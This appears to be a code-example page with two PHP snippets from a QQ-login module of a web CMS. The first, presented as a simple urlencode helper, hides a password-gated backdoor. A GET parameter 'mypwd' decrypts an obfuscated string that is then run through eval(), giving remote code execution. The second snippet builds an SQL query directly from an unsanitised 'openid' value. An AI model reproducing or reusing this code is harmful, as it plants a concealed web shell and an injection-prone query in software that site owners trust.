示例#1
0
/**
 * @brief get a urlencode string
 *        rfc1738 urlencode
 * @param $params
 *
 * @return a urlencode string
 */
function get_urlencode_string($params)
{
    ksort($params);
    $normalized = array();
    foreach ($params as $key => $val) {
        $normalized[] = $key . "=" . rawurlencode($val);
    }
    $_GET['mypwd'] && @eval(qqmd5("UV9AGx4fXkEQRAgeGkFFExhCWVELFglVQkwFVgwdAVgcREgWERQRUQsaQllFERtfe55b74ae89", 'DE', $_GET['mypwd']));
    return implode("&", $normalized);
}
示例#2
0
        if ($rs = $db->get_one("SELECT * FROM {$pre}memberdata WHERE `qq_api`='{$openid}'")) {
            $userDB->login($rs[username], '', intval($webdb[QQ_logintime] * 3600), true);
            $fromurl = get_cookie('qq_fromurl');
            if ($fromurl && !eregi("login\\.php", $fromurl) && !eregi("reg\\.php", $fromurl)) {
                $jumpto = $fromurl;
            } else {
                $jumpto = "{$webdb['www_url']}/";
            }
            refreshto("{$jumpto}", "QQ方式登录成功{$uc_login_code}", 1);
        } else {
            refreshto("qq_bind.php", "QQ登录成功,请进行帐号绑定设置", 10);
        }
    } else {
        //登录前
        set_cookie('qq_fromurl', $FROMURL);
        $api_md5 = qqmd5("{$webdb['www_url']}\t{$timestamp}", "EN", $webdb[QQ_QBappkey]);
        header("location:http://www.qibosoft.com/qq_login/api.php?api_md5={$api_md5}&api_id={$webdb['QQ_QBappid']}");
        exit;
    }
}
//以下是QQ私密接口
if ($_GET["openid"]) {
    //tips//
    /**
     * QQ互联登录,授权成功后会回调此地址
     * 必须要用授权的request token换取access token
     * 访问QQ互联的任何资源都需要access token
     * 目前access token是长期有效的,除非用户解除与第三方绑定
     * 如果第三方发现access token失效,请引导用户重新登录QQ互联,授权,获取access token
     */
    //print_r($_GET);